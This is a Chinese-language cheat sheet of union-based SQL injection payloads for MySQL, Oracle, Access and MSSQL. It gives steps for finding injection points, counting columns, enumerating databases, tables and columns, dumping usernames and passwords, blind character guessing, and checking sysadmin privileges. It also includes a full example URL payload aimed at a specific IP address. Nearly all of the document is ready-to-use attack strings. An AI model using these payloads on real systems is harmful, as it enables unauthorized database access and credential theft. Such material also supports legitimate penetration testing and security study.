SQL注入-联合查询总结
联合查询注入利用的条件:页面上有显示位
联合注入的过程:
1 | 1、判断注入点 |
数据库判断:
1.用@@datadir查看数据库安装目录,能否判断出
2.通过各个数据库特有的数据表来判断:
1 | mssql:and (select count(*) from sysobjects)>0 and 1=1 |
终极法宝 :报错信息!!!!!!!!!!
mysql注入
注入判断:
1 | ' |
字段数判断:
1 | Order by 3 -- |
获取所有数据库名:
1 | select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA |
获取表名:
1 | Union select table_name from information_schema.tables where table_schema=database() -- |
获取字段名:
1 | Union select column_name from information_schema.columns where table_schema=table_name - |
查询数据:
1 | union select 1,group_concat(concat_ws(char(32,58,32),first_name,password)) from users -- |
内置函数:
1 | 拆解数据库名:database() 用户名:user() 版本:version() 或 @@version |
mysql通过information_schema这个表查询相应的数据库名,表名,字段名。
oracle注入
获取数据库所有用户:
1 | SELECT username FROM all_users; |
获取当前数据库用户:
1 | SELECT user FROM dual; |
字段数判断:
1 | order by 3 -- |
判断子段的数据类型:
1 | and 1=2 union select 'null',null,null from dual-- //返回正常,则第一个字段是字符型,返回错误,为字符型,返回错误,为字符型 |
数据库信息:
1 | and 1=2 union select null,(select banner from sys.v_$version where rownum=1),null from dual-- //探测数据库版本信息 |
查询表名:
1 | and 1=2 union select null,(select table_name from user_tables where rownum=1),null from dual-- //查询第一个表名 |
查询字段名:
1 | and 1=2 union select null,(select column_name from user_tab_columns where table_name='[表名]' and rownum=1),null from dual-- //查看第一个字段名 |
查数据:
1 | and 1=2 union select id,name,pass from student where id=1-- //查看数据 |
如果字符集不匹配:
则需要进行字符集转换:
1 | cast('' as nvarchar2(10)) |
栗子:
1 | http://59.63.200.79:8808/?id=-1%20union%20all%20select%20NULL,NULL,cast((select%20table_name%20from%20user_tables%20where%20rownum=1)%20as%20nvarchar2(10)),1%20from%20dual--%20- |
注意点
1.Oracle 在使用union 查询的跟Mysql不一样Mysql里面我用1,2,3,4就能占位,而在Oracle里面有比较严格的类型要求。也就是说你union select的要和前面的字段类型一样,我们可以用null来代替站位。
2.Oracle和mysql不一样,分页中没有limit,而是使用三层查询嵌套的方式实现分页(查询第一条数据“>=0<=1”)
例如:
1 | SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >= 0 |
3.Oracle的单行注释符号是–,多行注释符号/**/
Acess数据注入
判断字段:
1 | order by 1 --+- |
判断表:
联合查询表,回显正常即为表存在,反之为不存在。
1 | Union select * from 表名 或 表名还可以使用这种方法来猜表名, |
列名也只能靠猜,如果猜不到就只能使用偏移注入来碰运气了
1 | and exists (select admin from admin) |
爆字段内容:
爆字段内容要分两步,先猜长度,再猜内容猜长度。and (select len(admin) from admin)=5,如果正确则回显正常。
猜内容,一个一个字段的猜,和盲注一样的道理。and (select asc(mid(admin,1,1)) from admin)>95,
1 | and (select top 1 asc(mid(列名,列数N,1)) from 表名) > x |
MSSQL注入
查询当前的用户数据信息:
1 | ?id=1 having 1=1--+- |
猜表名:
1 | ?id=1 and exists(select * from tablename) |
猜字段:
1 | ?id=1 and (Select Count(字段名) from 表名)>0 |
爆当前表中的列:
1 | ?id=1 group by admin.username having 1=1–-+- |
猜字段中记录长度:
1 | ?id=1 and (select top 1 len(字段名) from 表名)>0 |
猜字段中的ascii值:
1 | ?id=1 and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 access |
查数据:
1 | UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename') |
测试权限结构(mssql):
1 | · ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’));– |
mssql内置函数:
1 | · ?id=1 and (select @@version)>0 获得Windows的版本号 |